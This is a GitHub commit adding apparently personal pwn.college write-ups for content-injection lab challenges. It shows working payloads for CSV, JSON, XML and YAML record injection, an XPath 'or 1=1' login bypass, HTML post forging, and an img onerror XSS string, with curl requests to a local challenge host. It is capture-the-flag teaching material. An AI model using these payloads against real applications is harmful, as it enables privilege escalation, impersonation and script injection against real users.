Skip to content

Commit 6cc4f61

Browse files
pwn.college Content Injection
1 parent a0a9ff7 commit 6cc4f61

8 files changed

Lines changed: 290 additions & 0 deletions

File tree

Lines changed: 39 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,39 @@
1+
# CSV Injection
2+
3+
## Teacher Login
4+
5+
```text
6+
7+
The Login
8+
Welcome! Can you log in as teacher?
9+
10+
The User Database
11+
12+
USERNAME,IS_TEACHER
13+
14+
15+
Add a User
16+
Username:
17+
18+
Login
19+
Username:
20+
```
21+
22+
The input fields are of **text** type
23+
24+
On adding a user, the database looks like:
25+
26+
```csv
27+
USERNAME,IS_TEACHER
28+
user,no
29+
```
30+
31+
Injecting "yes" by adding a user of name "user2,yes"
32+
33+
```csv
34+
USERNAME,IS_TEACHER
35+
user2,yes,no
36+
user,no
37+
```
38+
39+
Log in by "user2" and we get the flag
Lines changed: 73 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,73 @@
1+
# HTML/Javascript Injection
2+
3+
## Class Cancellation
4+
5+
```text
6+
The Chat
7+
8+
Login
9+
Username:
10+
```
11+
12+
After logging in..
13+
14+
```text
15+
The Chat
16+
17+
Post as user
18+
Message:
19+
```
20+
21+
After posting...
22+
23+
![image](cc1.png)
24+
25+
The goal of the challenge is to create a message that looks like it was sent by the teacher, directly mimicing the structure of the other messages, that says Class Is Canceled!
26+
27+
If we log in as "teacher", we get "Posting as the teacher is strictly prohibited!"
28+
29+
We need to craft a post by user that injects HTML to mimic teacher's post. The HTML of the above image is:
30+
31+
```html
32+
<hr>
33+
<b>user:</b>
34+
somepost2
35+
<hr>
36+
<b>user:</b>
37+
somepost
38+
```
39+
40+
Crafting the payload:
41+
42+
```text
43+
gimme flag <hr><b>teacher:</b> Class Is Canceled!
44+
```
45+
46+
![image](cc2.png)
47+
48+
Running the `victim` script now gives the flag
49+
50+
## Class Cancellation 2
51+
52+
This is similar to the previous challenge, but this time each `<` in payload is converted into `(`
53+
54+
For posting a message, a GET request is made at `/post?message=<message>&user=<username>`
55+
56+
Since message is sanitized, we can inject HTML in username:
57+
58+
```text
59+
user=</b>gimme flag <hr><b>teacher&message=Class Is Canceled!
60+
curl 'http://challenge.localhost/post?user=%3C%2Fb%3Egimme%20flag%20%3Chr%3E%3Cb%3Eteacher&message=Class%20Is%20Canceled%21'
61+
```
62+
63+
![image](cc3.png)
64+
65+
## Class Cancellation 3
66+
67+
In this challenge, we have to formulate some message that sends out the alert Class is Canceled!
68+
69+
Post this payload:
70+
71+
```html
72+
<img src=x onerror='alert("Class is Canceled!")'>
73+
```
Lines changed: 40 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
# JSON Injection
2+
3+
## Teacher Login 5
4+
5+
```text
6+
JSON Injection Login
7+
8+
Welcome! Can you log in as teacher?
9+
10+
Current Database (users.json)
11+
[]
12+
13+
Add a User
14+
Username:
15+
16+
Login
17+
Username:
18+
```
19+
20+
The input fields are of **text** type
21+
22+
After adding a couple of users, the db looks like:
23+
24+
```json
25+
[{"username": "user2", "is_teacher": "no"}, {"username": "user", "is_teacher": "no"}]
26+
```
27+
28+
Injecting `"is_teacher: "yes"` through the following payload
29+
30+
```text
31+
user3", "is_teacher": "yes"}, {"username": "user4
32+
```
33+
34+
The result db:
35+
36+
```json
37+
[{"username": "user3", "is_teacher": "yes"}, {"username": "user4", "is_teacher": "no"}, {"username": "user2", "is_teacher": "no"}, {"username": "user", "is_teacher": "no"}]
38+
```
39+
40+
Logging in by "user3" gives the flag
Lines changed: 69 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,69 @@
1+
# XML Injection
2+
3+
## Teacher Login 6
4+
5+
```text
6+
XML Injection Login
7+
8+
Welcome! Can you log in as teacher?
9+
10+
Current Database (users.xml)
11+
<users></users>
12+
13+
Add a User
14+
Username:
15+
16+
Login
17+
Username:
18+
```
19+
20+
The input fields are of **text** type
21+
22+
After adding a couple of users, the db looks like:
23+
24+
```xml
25+
<users><user><username>user</username><is_teacher>no</is_teacher></user><user><username>user2</username><is_teacher>no</is_teacher></user></users>
26+
```
27+
28+
Injecting `<is_teacher>yes</is_teacher>` using the payload:
29+
30+
```text
31+
user3</username><is_teacher>yes</is_teacher></user><user><username>user4
32+
```
33+
34+
The result db:
35+
36+
```xml
37+
<users><user><username>user</username><is_teacher>no</is_teacher></user><user><username>user2</username><is_teacher>no</is_teacher></user><user><username>user3</username><is_teacher>yes</is_teacher></user><user><username>user4</username><is_teacher>no</is_teacher></user></users>
38+
```
39+
40+
Logging in by "user3" gives the flag
41+
42+
## Teacher Login 7
43+
44+
The previous solution doesn't work as the input is being parsed; `<` and `>` are converted into `&lt;` and `&gt;`
45+
46+
In the sever code, we observe that XPath is being used to query:
47+
48+
```python
49+
query = f"//user[username/text()='{username}' and is_teacher/text()='yes']"
50+
```
51+
52+
[XPath Injection](https://owasp.org/www-community/attacks/XPATH_Injection) using the follwing username:
53+
54+
```text
55+
user' or 1=1 or 'a'='a
56+
```
57+
58+
This results in the following xpath query:
59+
60+
```text
61+
//user[username/text()='user' or 1=1 or 'a'='a' and is_teacher/text()='yes']
62+
username = 'user' or 1=1 or 'a'='a' and is_teacher='yes'
63+
(username = 'user' or 1=1) or ('a'='a' and is_teacher='yes')
64+
(false or true) or (true and false)
65+
true or false
66+
true
67+
```
68+
69+
Logging in gives the flag
Lines changed: 69 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,69 @@
1+
# YAML Injection
2+
3+
## Teacher Login 2
4+
5+
```text
6+
YAML Injection Login
7+
8+
Welcome! Can you log in as teacher?
9+
10+
Current Database (users.yaml)
11+
12+
Add a User
13+
Username:
14+
15+
Login
16+
Username:
17+
```
18+
19+
The input fields are of **textarea** type
20+
21+
On adding a user, the database looks like:
22+
23+
```yaml
24+
- username: user
25+
is_teacher: no
26+
```
27+
28+
Injecting "is_teacher: yes" by adding a user of name:
29+
30+
```text
31+
user2
32+
is_teacher: yes
33+
- username: user3
34+
```
35+
36+
Now, the database looks like:
37+
38+
```yaml
39+
- username: user2
40+
is_teacher: yes
41+
- username: user3
42+
is_teacher: no
43+
- username: user
44+
is_teacher: no
45+
```
46+
47+
Logging in by "user2" gives the flag
48+
49+
## Teacher Login 3
50+
51+
This is similar to the previous one, except the input fields are of **text** type, so we cannot send multi-line inputs
52+
53+
On inspecting, we see that the request for adding a user is made at `/add?user=<username>`
54+
55+
URL-encode the previous payload and add the user: `/add?user=user2%0A%20%20is_teacher%3A%20yes%0A-%20username%3A%20user3`
56+
57+
Then proceed as before to get the flag
58+
59+
## Teacher Login 4
60+
61+
This is similar to the previos one, except that in this one, POST request is used instead of GET
62+
63+
We can use curl to make the POST request:
64+
65+
```shell
66+
curl 'http://challenge.localhost/add' -X POST --data-raw $'user=user2\n is_teacher: yes\n- username: user3'
67+
```
68+
69+
> The `$` is needed to pass newline in the payload
14.7 KB
Loading
8.64 KB
Loading
5.18 KB
Loading

0 commit comments

Comments
 (0)